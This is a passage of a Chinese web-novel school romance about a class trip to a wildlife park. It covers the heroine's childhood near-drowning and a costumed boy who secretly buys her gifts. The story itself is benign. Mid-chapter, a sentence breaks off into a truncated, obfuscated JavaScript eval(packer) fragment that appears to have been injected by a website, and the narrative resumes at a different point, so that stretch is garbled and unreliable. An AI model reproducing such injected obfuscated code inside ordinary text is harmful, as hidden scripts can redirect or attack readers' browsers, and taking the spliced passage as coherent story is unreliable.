春游第一站蓝森野生动物园,六个小时的车程,一开始同学们兴奋地聊天打闹,一个小时后便开始昏昏欲睡,车里渐渐安静。 车身颠簸晃动,很催眠。叶子原本想看看课本,预习下后面的内容,然而秦夏睡了,她也不禁有点犯困,靠着秦夏的肩膀睡着了。 十一点,刘帅用喇叭叫醒大家,说服务站到了,需要上厕所的上厕所,饿了的也可以买点东西吃,半个小时后回来不许迟到。 同学们撒了欢儿地全下车了,叶子坐了这么久也有些屁股疼,站起来活动了一下,拉着秦夏一起下车。 柯以珩在大巴门口等她,看见她下来,双目微亮,似乎也被她今天的装扮靓到了。 他笑着给她招手,“哈喽。有什么想吃的吗?我请。” 秦夏看出他的殷勤,嫌弃地啧啧嘴,拉着叶子向服务站走去,“用不着。” 叶子早上吃了零食,不是很饿,回头对他抱歉地笑了笑。 叶子上完厕所出来,在门口碰到了猴子,学校一视同仁地也让C16来参加春游了。猴子笑眯眯叫她:“哟,嫂子!” 叶子脸一热,不好意思地给他招了招手。 叶子在门口等秦夏,猴子经过她的时候坏笑说:“今天弥哥也会来哦!” 叶子惊讶:“他不是被停课了吗?” “谁说被停课就不能参加了,他可以自己买票去啊。”猴子露出意味深长的笑容,给叶子挑眉。 叶子面颊滚烫,低低哦了一声。 “走了。”猴子给她挥手,去跟买零食的兄弟们汇合。 秦夏从厕所出来了,甩甩手上的水来到叶子身边,“走吧。” 她们一起向外走去,秦夏发现叶子心不在焉的,问道:“怎么了?” 叶子满脑子都是猴子刚才说的那件事。 他竟然也会来吗? 明明是一件好事,值得开心的,不知道为什么,她心却跳得特别快。 一定是因为太意外了吧,她轻轻压了压胸脯,平息那一份说不上来的悸动。 55. 春游(下) 再回到大巴车上,叶子的座位放了满满一大兜零食,薯片、饼干、酸奶、饮料……五花八门,把塑料袋撑得鼓鼓囊囊。 叶子惊讶地睁大眼睛,“这是谁的?放错位置了吗?” 秦夏一下子就猜到了,“柯以珩的吧,他不是说要请你吃东西?” 叶子奇怪:“可我说了不用呀。” 秦夏心想,得,又是一个失败者。 叶子拎起那一兜零食,转身往下走,“你先坐吧,我把这个还给他。” 秦夏跟上去,“我也去我也去!” 叶子和秦夏一起下了二层,柯以珩正在座位上与几个男生聊喜欢的球星,叶子和秦夏向他走去。 他的位置在倒数第三排,那些男生在他后面,他扭着身子,没有立刻看到叶子。 那些男生先抬眸,向叶子看过来。柯以珩注意到他们的目光,下意识回头,见叶子提着那兜零食,立刻起身迎上叶子,热情道:“不知道你喜欢吃什么,就都买了点。不喜欢的可以给我,或者给别的同学分了都行。” 那些男生发现有情况啊,嬉皮笑脸看着他们。 同学们还没回来,车里只有零星几个人。 叶子局促道:“谢谢……不过不用了,我带了吃的,够,你拿回去吧。”她递给他零食袋子。 柯以珩心中热情的火苗渐渐熄灭,忙解释:“你别误会,我没想怎么样,就是想请你吃点东西。你之前不是送我创伤膏吗?” 叶子犹豫了一下,从零食袋里随便拿出一个:“那这一个就行了,谢谢。” 她把剩下的那一兜子零食放在他脚边,拉着秦夏转身走了。 柯以珩张口想喊住她,最终叹了口气,欲言又止。 男生们纷纷凑过来八卦:“有情况啊珩哥!咋回事?” 柯以珩心情不爽,回头喝了句:“滚蛋!” 叶子和秦夏回到二层,秦夏试探地问道:“叶子,你觉得柯以珩这人怎么样呀?” 叶子认真想了想,说:“还行吧,人不坏。” 秦夏马上又问:“那韩山呢?” 叶子听到他的名字,心脏像被一根细线轻轻牵动,不经意错了一拍,“他……”她不自然地摸了摸耳后,脸颊染上一片淡淡的红。 他很温柔,对她很好。 秦夏看叶子的反应,感觉大事不妙,没再往下引导,立刻转移话题:“我看看你拿的什么。” 她拿过叶子手中的零食,是一包番茄味的薯片,她说:“番茄味哎!我最喜欢了,给我吧?” 叶子自然大方给她。 * 半个小时活动时间结束,大巴车继续向前行驶,秦夏收到柯以珩的短信:我是不是做了什么惹她不高兴了? 叶子在秦夏旁边翻课本预习功课,秦夏没有打扰她,斟酌了下措辞,在回复框里打出: 没有,她只是不喜欢你。 打完秦夏又觉得不太合适,这种话还是当事人亲口说比较好,她替叶子说算怎么回事。 她又删除,只回了个“没有”。 柯以珩再次发来短信: 那为什么不要我送她的零食? 秦夏回他: 你还是自己问她比较好。 柯以珩看到短信皱紧了眉头,指尖飞快按动键盘,打出一行: 我才不呢,说得太明白被拒绝了连朋友都做不成。 然而他迟迟没有按下发送键,最终又一个字一个字删除,烦躁捋了把头发,靠在椅背上。 以往都是女生追他,但凡他施舍一个微笑,一个眼神,她们都激动地感恩戴德。 叶子的拒绝,让他第一次感到挫败。 他不信邪,他这样的外形,还会打篮球,学习也好,怎么会有追不到的女生? * 下午两点半,大巴抵达蓝森野生动物园停车场,刘帅组织同学们下车。 叶子拿出帆布包里的零食放在座位上,只装了两瓶水,轻装上阵。 柯以珩在车门口等她,她一下车,柯以珩就说:“我帮你背包吧!” 叶子连连摆手,“不用不用,很轻,我自己可以。” 柯以珩心有不甘地看着她和秦夏离开。 刘帅和班长一起组织大家在检票口站队。午后的阳光有些毒辣,叶子戴上遮阳帽。 柯以珩不知道从哪冒出来的,站在她旁边为她遮太阳。 他个子高,用自己的影子笼罩住她,给她阴凉。 秦夏在叶子后面,隐晦地咳了一声,当做没看见。 叶子诧异说:“你站这干嘛,快回去,一会儿老师看见了。” 柯以珩一脸无辜:“跟你站一块儿啊。” 叶子推他走,“跟我站一块儿干嘛,快回去。” 柯以珩却似很享受被她推一般,嘴角噙着笑。 一个班一列队,柯以珩站在队伍外面很明显,刘帅很快发现了他,点他名字:“柯以珩!站到队伍里面去!” 柯以珩就近挤进叶子和秦夏中间,用动物园宣传手册给叶子扇风。他刚刚路过宣传栏随手拿的。 叶子有点无奈,他今天吃错药了吗? 动物园内正对大门的是一座巨大的石狮子雕像,鬃毛茂盛,长着大口,威风凛凛,底座上用烫金文字镌刻有关狮子的介绍。 雕像时间久了,表面有岁月侵蚀的痕迹,叶子看到雕像的一瞬,幼时褪色模糊的记忆逆转时光,一点点重新染上色彩,变得鲜明起来。 她想起她幼儿园第一次春游来这里时,被这个栩栩如生的雕像吓了一跳,哇哇大哭,老师哄了她半天,小朋友们都嘲笑她胆小鬼,爱哭鬼。 现在想来,还真是有点好笑呢。 刘帅带领队伍入园,组织同学们在雕像前大合照,“个高的站中间,没那么高的站两边,快!” 同学们整齐而又迅速地站上阶梯式的台子。学校早就联系好了动物园园长,专门在这里摆了台子方便拍合照。 雕像底座很高,石狮子横卧在底座上,同学们正好挡住底座,雄狮半个身子伫立在同学们头顶,这样拍出来的画面自带几分磅礴气势。 柯以珩故意站在叶子后排,他旁边的兄弟们起哄他,将他推到叶子身上。 叶子差点被撞下台阶,还好秦夏扶了她一把。她本能地回头看了眼,柯以珩已经站回了原位,慌乱地说:“对不起,你没事吧,我不是故意的。” 他的兄弟们在旁边嬉笑。叶子不知道他们在搞什么,没计较,说了句:“没事。” 秦夏看出他们的心思,蹙眉斥道:“你们烦不烦?” 她最讨厌这个年纪男生的恶作剧,叶子又不喜欢他,这种起哄一点也不尊重人。 男生们终于消停了点。 刘帅打量队伍,怎么看怎么不顺眼,喊道:“柯以珩!你个高,站中间去!” 叶子和秦夏个子中等,站在靠边一点的位置,柯以珩是男生中最高的,站在她们后面尤其违和。 柯以珩如遭晴天霹雳,“啊!能不换吗老师。” “快点的!等会儿还有别的班的同学拍照呢!” 柯以珩不情不愿过去了,他的兄弟们没他高,留在了这里,幸灾乐祸地窃笑。 柯以珩站到那排的最中间,与叶子距离变远。两边男生们都向外错了错。 刘帅又微调了下其他同学的位置,终于顺眼了,举起相机对准他们,“来同学们,看镜头,茄子。” 同学们都站得笔直,神采奕奕,尽显青春朝气,异口同声说:“茄子!” 叶子没有跟他们一起说,弯起眼睛,露出一个甜甜的笑。 刘帅按下快门,照片定格美好瞬间。 拍完照,刘帅用喇叭说:“现在大家可以解散自由活动了,晚上七点还在这里集合,一起去吃晚餐,吃完晚餐去酒店,都听到了吗?” 这次春游去两个地方,为期两天,要在外面过一夜。 叶子跟着同学们一起大声道:“听见啦!” 同学们一哄而散,各自结伴逛园,叶子和秦夏看了动物园的平面导航图,准备按逆时针方向挨个慢慢逛。 动物园虽然翻新过,但整体没太大变化,她们第一站是虎园。 柯以珩和几个男生跟在她们后面,吵吵闹闹。叶子突然想起猴子说韩山也会来,下意识四处望了望,没看到他的身影。 他会什么时候出现呢? 人很多,放眼望去都是叶子学校的学生,叶子和秦夏顺着人潮走进虎园。 老虎们被动物园养的很好,个个骨肉匀称,体型健硕。 蓝森野生动物园是一个公益性质的动物园,救助和收容野生动物,根据不同动物所需的生存条件模拟出同等的饲养环境,被誉为野生动物保护科普教育基地。 这个时间点正是最热的时候,老虎们卧在阴凉中,懒洋洋打着哈欠,两只小老虎在水池边打架玩闹。 叶子手放在玻璃上,脸凑近玻璃,仔细地看小老虎打架,忍俊不禁,“怪不得是猫科动物,打起架来跟小猫似的。” 秦夏拿出单反相机拍叶子的侧脸,叶子意外,“你还带相机了!” 秦夏笑道:“是呀,春游怎么能不拍照呢?” 她说着咔咔拍了叶子好几张,又将镜头对准小老虎。 叶子也笑:“真好。那拍照的事就交给你了。” 秦夏拍了一会儿,觉得累,直接打开录像功能。 叶子也很喜欢摄影,但是相机太贵了,他们家没有,她羡慕地说:“我以后也要买一个这样的相机。” “可以呀,不过我这个是我爸的。也不是我自己的。” “但你可以用呀,不像我家,没有相机。”叶子依然笑盈盈的。 秦夏一把抓住她的手,“我的就是你的!” 两个少女一边逛一边拍照录像,虎园不大,不一会儿就从出口出来了。 虎园隔壁是狼馆,再往后是大熊猫馆,猴山,还有非洲区。狮子、犀牛、非洲象、花豹……一系列动物都在非洲区。 幼儿园春游那次,叶子光害怕了,都没好好看过这些动物,如今再来,发现大自然真是神奇,能孕育出这么多不同种类的生物。 动物园里没有动物表演,随处可见“保护动物,保护大自然多样性”的标语。 柯以珩一行人走着走着就没了影,叶子都不知道他们什么时候不见的。不过她也并不关心。 叶子和秦夏挨个逛了每个园区,拍了很多有纪念意义的照片视频。这些都会成为她们青春美好的回忆。 动物园的中心广场有成群的白鸽,叶子和秦夏逛累了,坐在广场长椅上喝水休息。 叶子歇了会儿,又来了精力,买了玉米粒,洒在广场中央,吸引来了大片鸽群。 秦夏连忙举起相机。 此时太阳已经没那么毒了,春日温柔的阳光映照广场,微风轻拂。 秦夏疯狂按下快门,镜头中,少女笑容纯真明媚,发丝被风吹动,成群的白鸽朝向她,她挥洒玉米粒,像无垢圣洁的天使。 秦夏心想,百鸟朝凤的画面,也莫过于此了。 叶子留了半包玉米粒,跑到秦夏身边,让她也去喂。 秦夏接过玉米粒,起身走到广场中央。 叶子举起相机给秦夏拍照,这一路秦夏给她拍了好多,自己却没拍一张。 秦夏对自己容貌不自信,看到镜头,连忙用手臂摆了个叉,挡住脸。 叶子放下相机,鼓励她:“很好看啊!特别美!把手放下!” 秦夏似乎不相信,依然不放手。 叶子特别真诚地说:“真的!不信你看看。”她走向她。 “我不看!”秦夏后退。 叶子停下脚步,也不勉强,说:“那好吧,那我不拍了。” 秦夏这才放下手。 秦夏继续喂鸽子,叶子嘴上说不拍,实际只是变成偷拍。 相机画面中,少女的长裙随风摆动,如海面的波浪,眼中闪动着明亮的笑意,温和从容,是四月天里最美好的一幕。 叶子躲着她的视线,各种找角度拍了好几张,相机里留下女孩鲜活灵动的身影。 不必扭捏,不必自惭形秽,每一个少女,都是人间的四月天啊。 秦夏喂完了玉米粒,两个少女再次启程。 叶子没有告诉她偷拍的事,等她回家自己发现吧。 她一定会惊叹,原来自己也能这样美呢。 下一站是鸟园,蓝森野生动物园的鸟园跟其他动物园的不一样,是开放式的,门前挂着隔离钢珠帘。 门口有张告示牌,写着:切勿长时间在门口逗留,通过后请立刻放下帘子。 叶子冷不丁想起幼时那次春游,她就是在这里,差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大哥哥高高瘦瘦,穿着蓝T,灰裤子,黑色运动鞋,一头乌黑的发。 小李老师在台阶下面,用喇叭对她喊:“前面的小朋友停下来等一等!” 叶子不知道在说她,还在往前走,但她身后的孩子们已经听到命令停下了。 叶子后面的是个男生,小孩子皮,又不会控制力量,大力地扯了把叶子头上的小揪揪,嗓门尖利,“老师让你停下!” 叶子正在上台阶,重心不稳,一下子被扯倒了,小揪揪也散了,坐在台阶上,嚎啕大哭。 女孩头发一半扎着,一半散开,模样滑稽极了。 孩子们稚嫩的声音接连响起: “她怎么又哭了呀!” “她来的时候就哭,老师哄了她一路!” “我两岁就不哭了!” “哭鼻子的小孩长不高。” “爱哭鬼羞羞羞!” 叶子哭得更凶了。 小李老师忙着组织孩子们上台阶,一时顾不上队伍最前面的叶子。 前面中班的队伍在栈道上停下,老师给他们讲解鸟类的相关知识。站在最后面的男孩子听到吵闹声回头。 他微微蹙着眉,瞳眸漆黑,如一颗黑色的玻璃珠,小小年纪就有一股锐利英气。 假山上的鸟儿们被孩子们的吵闹声惊吓到,一时间全部扑棱着翅膀起飞。 受惊的鸟群黑压压掠过孩子们,孩子们惊叫着躲避,有人慌乱中扑倒了叶子,叶子向护栏的间隙滚去。 鸟园的护栏是由两根树干围成的,中间一根,上面一根,底下有一片空隙。孩子们站着的时候,可以被护栏挡住,但摔倒后,就有可能从最底下的空隙滚下去。 而护栏下面,就是那片湖。 叶子讲到这里时,秦夏倒吸了一口冷气,惊道:“天呐,太危险了!” 她想起叶子一开始说的是“差点掉下去”,连忙追问:“那你最后是为什么没掉下去?” 叶子回忆着说:“当时所有人都吓傻了,我就记得有个人拉了我一把。” 一双手抓住她的手臂,让她的身体悬停在半空。 她的一只小皮鞋掉进了湖里,瞬间被水淹没,涟漪都没有。 孩子们惊呼,小李老师看见这一幕,脸都白了,顿时拨开孩子们冲上台阶。 抓住叶子的人,大概年纪也不大,只能堪堪不让她掉下去,却无法将她从下面拉上来。 小李老师从那双手中接过了叶子。她这才得以获救。 秦夏下意识问:“谁啊?” 叶子苦想良久,说:“我也不记得了……” 被小李老师抱上来后,叶子哇哇哭着扑进小李老师怀里,甚至都没有回头看那个人一眼。 秦夏替她着急:“你个没良心的!这可是你救命恩人呀,你怎么能说忘就忘呢!” 叶子觉得也是,凝神努力回想,然而泛黄的记忆中,那个人的身影、面容,都已经模糊不清。 她只记得,他有一双很有力的手。 好像……是个男孩子。 因为后来小李老师曾把她带到那个人面前,说:“快谢谢哥哥。” 小李老师说的是“哥哥”。 然而当时她怕生,不敢跟陌生人说话,只怯怯看了他一眼,就转头往小李老师怀里钻。 他似乎…… 有一双很黑很沉着的眼睛。 哦,还有温柔的声音。 因为那时他说了句:“不用说了,别为难她。” 小男孩还没变声,嗓音清亮,但他说这话时语气很淡很轻,显得声音低沉了些,有一种不符合年龄的稳重成熟。 叶子脑中突然有根弦铮的一声。 记忆中那双眼睛,竟诡异地与某个人的眼睛渐渐重叠。 秦夏看到她脸色变了,忙问:“想到了?他长什么样,叫什么?” 叶子却沉溺于过去的回忆中,久久无法平静。 她小脸微白,突然有一种直觉。 初次相遇时烟雾中朦胧的那双眼,为她吓退坏人时的那双眼,无数次四目相对时的那双眼…… 冷漠、锐利,总是毫无情绪,却又会在她面前浮动出碎碎流光。 难道…… 是他? 56. 哆啦A梦【双更合一】 鸟园外,突然来了个“哆啦A梦”,手里抓着把氢气球。 哆啦A梦这年特别火,游客们都被它吸引了目光,纷纷过来求合照。 它抬着头,似乎在看着什么,一直没动,谁给他说话都不理。 因为戴着头套,游客们看不到他的视线,不过以他抬头的幅度,他似乎是在看“鸟园”两个字。 柯以珩和兄弟们从远处走来,准备去鸟园逛逛。 他们也看到了鸟园门口的哆啦A梦,七嘴八舌地说:“卧槽,哆啦A梦!” “动物园还有这玩意?” “去掏掏它的口袋,看能掏出什么!” “不太像啊,这哆啦A梦怎么瘦高瘦高的?”其中一个男生扭头看了看柯以珩,“跟珩哥一样高了都!” 柯以珩对此并不稀奇,不就是个哆啦A梦,有什么好大惊小怪的? 鸟园内。 栈道的护栏因为那次意外,底部多加了一根树干,并挂了警示标语。 叶子边走边看石壁上的鸟类知识科普。 有一条吸引了她的注意: “鸟类是自然界最忠贞的物种,90%的鸟类都是一夫一妻制,伴侣死去,另一方也会接着死去。” 叶子有些走思,人类哪怕再爱一个人,都不会为对方而死吧,起码百分之九十的人做不到。 鸟类的爱情,比人类的更纯粹。 秦夏用相机拍空中飞行的鸟儿,叶子最终没能回答上秦夏刚才的那个问题: 他长什么样?叫什么? 可是她心中隐约有了一个答案。 小时候那次春游,最后老师把大中小三个班聚在一起,拍了张幼儿园的大合照,被李丽然压在箱底,尘封十几年。 或许……那张照片,可以揭开谜底。 栈道下传来吵闹声,叶子下意识看去,柯以珩和兄弟们掀门帘进来了。 柯以珩一眼就看到了栈道上的叶子,短暂对视后,立刻向假山走去。 “珩哥走那么快干嘛!”他的兄弟叫他。 柯以珩没回头说:“你们慢慢逛,我先上去了。” 叶子见他往这边走了,有些无所适从。 她和秦夏走得慢,柯以珩很快追了上去,“原来你们在这呢!” 叶子和秦夏一起回头。 秦夏知道他是奔着叶子来的,找了个借口溜了,给他们单独相处的空间。 叶子尴尬地给柯以珩招了下手,“嗨,你也逛到这了。” “对啊,缘分呀。” 秦夏一出鸟园就看到一群游客围着一个哆啦A梦合照。 哆啦A梦手里抓着一把氢气球,似乎是动物园里的工作人员,但却不太热情的样子,只是直愣愣地站着,都不配合游客们拍照,还要游客自己凑上去找角度。 有小孩扑过去抱住哆啦A梦圆滚滚的肚子,被哆啦A梦揪着后领扯开,似乎遭到了嫌弃。 秦夏觉得还挺有趣。 上个班怨气这么大吗? 她几乎能想象到头套下,那位工作人员冷着脸的模样。 秦夏坐在路边的长椅上,百无聊赖看着那个哆啦A梦。 鸟园内,叶子和柯以珩走完了栈道,准备下去。 假山石阶陡峭光滑,柯以珩担心叶子滑倒,要拉她的手臂,被叶子避开了。 “没事,我可以。”叶子扶着护栏自己下台阶。 柯以珩终于耐不住性子,问道:“我最近是不是做了什么惹你不高兴了?” 叶子露出古怪的神情,“没有呀。” 想到可能是因为上午零食的事情,她连忙解释:“你上午送我零食我很感谢,心意我领了,但是真的不用破费了。” “可你对我好冷淡。” “啊……有吗?不好意思我比较内向。” “咱们都做了多久同桌了,还跟我内向。” 叶子实在不知道怎么接他的话,只觉得尴尬,氛围尴尬,说的话也尴尬,下了假山便往鸟园大门走,“你还要逛逛吗,我打算出去了。” “那我也出去。” 叶子自顾自走出鸟园,柯以珩跟在她身旁。 秦夏没想到他们这么快就出来了,看来聊的不是很投机呀。 她起身迎上叶子,“走吧,前面就是水族馆。” 柯以珩殷勤地说:“我跟你们一起逛,你们不介意吧?不想背包可以给我。” 叶子不打算让他背包,但秦夏没有顾虑,摘下自己的小皮包递给柯以珩。 免费的苦力不用白不用,何况还是他们学校的大帅哥。 柯以珩毫无怨言地接过来背上,“叶子呢?” 秦夏替她回答:“她不用。” 三个人向水族馆走去,忽的被一个庞然大物挡住。 叶子抬头,竟是一个哆啦A梦。 刚才她从鸟园出来太急,都没注意到它。 哆啦A梦把手里五彩斑斓、款式各异的氢气球伸到她面前,说道:“新品促销,抽奖免费送饮料!” 这个声音经过变声器处理和放大,跟哆啦A梦一模一样。 秦夏觉得邪门,刚才还冷冰冰的哆啦A梦怎么突然就变热情了? 叶子有些没反应过来,倒是柯以珩先说话了,“怎么抽啊?花钱吗?” 哆啦A梦对叶子说:“选一个气球。” 柯以珩:“叶子,你选吧。” 秦夏端详着这个哆啦A梦,它个子很高,她几乎要仰头看它,她很是奇怪,既然是搞抽奖促销的,怎么刚刚不让那些游客抽? 哆啦A梦看着叶子,似乎只是给她一个人抽的。 叶子想到自己过年时抽到了商店的大奖,摩拳擦掌,选了一个红色心形气球,“这个吧!” 一看就喜庆。 哆啦A梦把这只气球拿出来递给她,气球背面有一张贴纸,叶子把贴纸撕开,下面写着六个字: 【两杯新品饮料】 叶子眼前一亮,“中了诶!” 秦夏和柯以珩都凑过去看,秦夏激动说:“哇!你运气太好了吧!” 叶子也很意外,难道今年真的是她的幸运年? 柯以珩蹙眉:“怎么只有两杯,就我没有?我也要抽!” 哆啦A梦说:“你们只有一次抽奖机会。” 柯以珩:“怎么就一次啊,太抠了吧!我们三个人呢!” 哆啦A梦从旁边冷饮店拿来两杯装好的饮料,递给叶子,“恭喜你,幸运的女孩。请你喝。” 两杯饮料装在一个袋子里,中间压线隔开,叶子欣然接过来,给了秦夏一杯。 “我也要!”柯以珩想抢秦夏那杯,被秦夏躲开。 哆啦A梦说:“想要请去店内购买。” 柯以珩没抢到,酸溜溜说:“算了,反正我也不爱喝这些。” “谢谢!”叶子和秦夏挥手告别哆啦A梦,一起向水族馆走去。 柯以珩跟在她们身后,像个保镖。 两个少女撕开吸管插.入杯中,吸了一大口,叶子惊喜说:“还挺好喝的哎!” 秦夏逛了这么久早就渴了,咕咚咕咚停不下来,连连竖大拇指。 叶子下意识看了眼杯子上的标签。 这个口味的名字很好听,叫“春日重逢”。 哆啦A梦望着他们离开的背影,久久没有移开视线。 游客们瞧哆啦A梦身边没人了,又凑上去想要拍照。 哆啦A梦回过神来,一个都没搭理,也向水族馆走去。 水族馆又分好几个区域,海豚湾里有工作人员扮做美人鱼表演,叶子和秦夏逛了一圈后,停在玻璃缸前看表演。 一男一女两只美人鱼,在水里上演生离死别的戏码。 这里人很多,学生和普通游客各占一半,还有情侣、抱小孩的,人挤人。柯以珩站在叶子和秦夏身后,很绅士地帮她们隔开人群。 叶子咬着饮料吸管,边看边说:“这样挺好的,用人类代替动物表演,还能多几个就业岗位。” 秦夏失笑,“你想的还挺全面。” 哆啦A梦跟着他们来到这里,站在角落,小孩来来往往,新奇地打量他,有个三四岁的小女孩指着他手里的气球说:“妈妈妈妈,我要气球。” 那位母亲很宠女儿,礼貌地询问:“气球怎么卖啊?” 哆啦A梦毫无情绪说:“不卖。” 女孩嘴一撇,放声大哭。 母亲只好赶紧抱着女儿离开,哄道:“等会儿妈妈给你买十个!” 哆啦A梦看着前面柯以珩的背影,抓着气球绳子的手在颤抖。 她完全被挡住了。 秦夏中途去上厕所,看见了门口的哆啦A梦,很是意外。 它怎么也跑这来了??? 她上完厕所回来,给叶子指了指,“哆啦A梦也来了。” 叶子惊讶睁大眼睛,踮脚回头望。 “看什么呢?”柯以珩在她身后,也下意识回头看。 叶子看到了门口角落里站着的哆啦A梦,哆啦A梦也朝着她这个方向,不过它戴着头套,叶子看不出它的视线。 这里人很多,叶子身高偏矮,被人群淹没。 叶子不知道它能不能看到她,扬起手臂给它挥手。 哈喽呀。 片刻,哆啦A梦竟也缓缓抬起手,向她挥了挥。 叶子没想到他真的能看到,很是惊喜,甜甜对他笑。 柯以珩知道她在看哆啦A梦,酸溜溜说:“一个机器猫有什么好看的,还不如表演好看。”他扶着她的两个肩膀,把她身子扭回去。 叶子也怕影响到后面的游客,没再回头。 秦夏呛柯以珩:“一看你就不经常看动漫,你知道哆啦A梦多火吗!谁不想有一个哆啦A梦那样的神奇口袋!” 柯以珩不屑地“切”了一声。 表演结束,哆啦A梦先行离开,叶子跟着人潮往外走。 秦夏提议:“我记得水族馆前面有家纪念品店,等会儿咱们去逛逛吧!” 叶子:“可以呀,不过这种店的东西肯定都很贵!” 柯以珩挑眉:“相中什么我送你。” 秦夏白他一眼:“谁要你送!” 叶子忍俊不禁,柯以珩气道:“哎,秦夏,我招你惹你了,你今天句句针对我!” 秦夏也说不上来为什么,总之叶子不喜欢的人,她就嫌弃。 “大猪蹄子离我家叶子远点!”秦夏拉着叶子拔腿就跑。 “你们站住!”柯以珩追上去。 少女的欢笑声从窃听器里传来,哆啦A梦听到了他们的对话,胸膛起起伏伏,呼吸都在颤抖。 它提前来到纪念品店,给店员说了几句话,店员起初露出为难的表情,很快就展露笑颜,点头答应。 哆啦A梦再从纪念品店出来时,被一群游客围住,抢着要合照。 叶子和秦夏正往这边走,看到了这一幕,秦夏诧异说:“咦,怎么又是它。” 叶子并没放在心上:“这种吉祥物就是要到处跑的嘛。” 哆啦A梦早就受够了这帮游客,拨开他们飞快地离开了。 两个少女走进纪念品店,店员立刻迎上来,热情说道:“本店今天搞活动,全场特价一元起,可随意挑选!” 叶子和秦夏都愣了,叶子不可思议说:“真的吗?纪念品店也会搞这种活动?” 店员笑道:“骗你们干嘛?我又没有好处。请进吧。” 店内没什么人,叶子和秦夏往货架里面走,柯以珩要跟进来,店员将他拦住,“不好意思,男士不得入内。” 柯以珩:“啊?不是,为什么啊?” “请在外面等待。”店员顺手将玻璃门关上,把他隔在了门外。 柯以珩一脸懵逼站在门外,感觉自己被性别歧视了。 叶子看到货架上的价格标签,连十块以下的东西都没有,普遍是几十上百的,她拿起一个标价五十块的动物系列笔记本,问店员:“姐姐,这个多少钱?” 店员看了眼:“这个一块。” 叶子惊了,又拿起一个标价百元的钢笔礼盒,“这个呢?” 店员:“两块。” 叶子长大了嘴巴,扭头看到标价千元的纪念币,指着问道:“那这个呢?” 店员:“五块。” 叶子和秦夏难以置信对视一眼,秦夏道:“哇塞,你们这个活动真是下血本了啊!” 店员豪爽道:“你们尽管挑,所有东西都有防伪标识,如假包换。” 叶子本来不打算买东西,但因为价格实在太便宜,心动极了,买了一个笔记本,一个大熊猫玩偶,还有一条真丝丝巾准备送给李丽然,总共五块钱。 秦夏买了一堆东西,大大小小装了一兜子,总共二十块钱。 结账的时候叶子看到柜台后面的面具墙,各式各样的动物面具,可爱极了。 店员注意到她的视线,笑着拿下来一个兔子面具,“这个适合你。” 叶子腼腆地笑了,刚好她也最喜欢兔子。 叶子把面具戴在脸上,照了照镜子,很是心动。 “这个是一对哦,买一送一。”店员拿下另一个大灰狼面具。 叶子:“多少钱呀?” “一块。” 秦夏怂恿她:“买吧买吧,还可以送人呢。”她挤了下眼睛,“反正也不贵。” 叶子蓦地想到了一个人,猴子说他会来,可她现在 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三人一同向商业街走去,这里全是卖东西的,一半是小吃,一半是花里胡哨的小玩意,叶子和秦夏边走边看,秦夏说:“这里的东西还没我们从纪念品店买的便宜,我们也太幸运了吧!” 叶子:“是呀。这种优惠力度不知道多少年才能遇到一次!” 秦夏:“值了值了,真是值了。” 来来往往的游客很多,川流不息。有小孩指着他们后面说:“噫,哆啦A梦!” 叶子下意识回头看。 哆啦A梦也来了,就在他们身后不远处,她们回头的瞬间,他侧过了身,若无其事地打量摊上卖的小玩意。 秦夏蹙眉道:“为什么哪哪都能看见他,是不是有点太巧了?” 叶子也觉得有些奇怪。 柯以珩催促她们:“别管了,走吧,快到点了。” 他们来到集合地点,刘帅早就到了,举着班旗组织大家排队。 叶子站在队伍中,回头张望,这都快走了,那个人还没有出现。 猴子说的到底是不是真的呀? 她拿出手机,犹豫着不知道要不要给他打个电话。 他今天到底来动物园了吗? 她一咬牙,用力按下拨通键。 犹豫什么!想打就打! 电话拨通,却迟迟没有人接听,她举着手机,一边等待,一边在人群中寻找。 猝不及防的,她看到了哆啦A梦,心尖猛地一颤。 哆啦A梦站在动物园的小树林入口,两只手都抓着氢气球,比之前的气球还要多。看到她看过来,他一下子放飞了手里的氢气球,给她挥了挥手,转身消失在林间小路。 无数氢气球一起飞上天空,场面壮观,引来一些同学们的惊呼。 “快看呐快看呐!好漂亮!” “哪里来的氢气球呀!” “哇塞,这是什么特别项目吗?” 同学们纷纷举起手机和相机拍照,秦夏和柯以珩也不例外。 而叶子的手机响起嘟嘟的忙音,她望着刚才哆啦A梦消失的地方,失神好久。 虽然它戴着头套,可她却能感觉到,刚才那一瞬,他们对视了。 心跳的感觉如此熟悉…… 他,到底是谁? * 哆啦A梦回到冷饮店,摘下头套,银发早已被汗水打湿。 他浑身湿透,二十多度的天气,少年穿着这样一个厚皮套,偷偷靠近他的女孩。 她的身边有柯以珩,他不知道自己还能以什么身份出现在她面前。 他有很多瞬间觉得自己可笑,或许他就不应该来,他早就应该认清现实,放弃那些不切实际的幻想。 可他还是希望、希望能陪她度过几个美好的时刻。 哪怕这样的美好,在她漫长的生命中只是须臾。 在纪念品店,他给店员说的是:“帮个忙,等会儿有两个女孩进来,无论多少钱的东西,都报五块以下,差价我补给你。” 店员为难说:“这……万一你跑了怎么办?” 他把身份证押给她,“这样跑不了了吧。” 他摘了头套,店员对比了下他的长相和身份证上的照片,露出笑容,“你这个长相追女生不难吧,这是何必?你这样她怎么知道你的心意?” 他说:“她不需要知道。” 店员啧啧叹息:“还真是个痴情种呢。” * 学生到齐,刘帅带领大家离开动物园,上了大巴。 刘帅告诉大家下面的安排:“酒店和饭店是挨着的,等会儿我们先去吃饭,吃完饭就直接回酒店,有事情向我请示,一定不要自己乱跑。” 同学们齐声应。 叶子望着窗外的景色,脑子里乱七八糟,一会儿是小时候在鸟园发生的事,一会儿是和韩山相处的点点滴滴,一会儿又是哆啦A梦…… 秦夏在和后座女生聊天。 女生看到她买的一兜子纪念品,羡慕道:“你居然买了这么多东西,一定很贵吧!我们都不舍得买。” 秦夏笑道:“哪有,这总共就二十。” 女生瞪大了眼睛:“哇,你从哪买的!我们怎么没在动物园里发现这么便宜的店!” “就纪念品店呀,水族馆旁边那个。” “什么?!” “今天搞活动促销呀,全部一元起。” 女生和旁边的闺蜜对视一眼,“不会吧!我们去的时候没有活动呀。” 秦夏也诧异了,“啊?是吗?” 叶子听到她们的对话,扭头看去,“你们没有优惠吗?” 女生摇头,“没有啊。” 叶子一下子就反应过来,对秦夏说:“难不成只有我们……?” 